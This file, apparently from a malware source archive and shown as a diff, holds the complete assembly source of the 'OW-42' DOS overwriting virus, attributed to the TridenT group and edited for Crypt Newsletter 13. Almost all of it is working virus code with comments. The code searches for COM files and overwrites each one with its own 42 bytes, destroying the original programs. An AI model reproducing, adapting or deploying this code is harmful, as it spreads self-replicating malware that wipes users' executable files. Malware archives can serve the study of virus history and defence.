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MSDOS/Virus.MSDOS.Unknown.ow_42.asm

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+;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
+;
+
+
+CODE    SEGMENT
+	ASSUME  CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
+
+	org     0100h
+
+start:  mov     ah,4Eh                  ; find first file
+recurse: 
+	mov     dx,0123h                ; matching filemask, "*.*"
+	int     21h                     
+
+
+	db      72h,20h                 ;hand-coded jump on carry to
+					;exit if no more files found
+	mov     ax,3D01h                
+	mov     dx,009Eh                
+	int     21h                     
+	
+	mov     bh,40h                  
+	mov     dx,0100h                ;starting from beginning
+	xchg    ax,bx                   ;put handle in ax
+	mov     cl,2Ah                  ;to write: 42 bytes of virus 
+	int     21h                     ;write the virus
+	mov     ah,3Eh                  ;close the file
+	int     21h                     
+	
+	mov     ah,4Fh                  ;find next file
+	jmp     Short recurse
+
+
+	db    "*.COM"     ;file_mask 
+	dw     0C300h     ;hand-coded return
+
+CODE    ENDS
+	END     START
+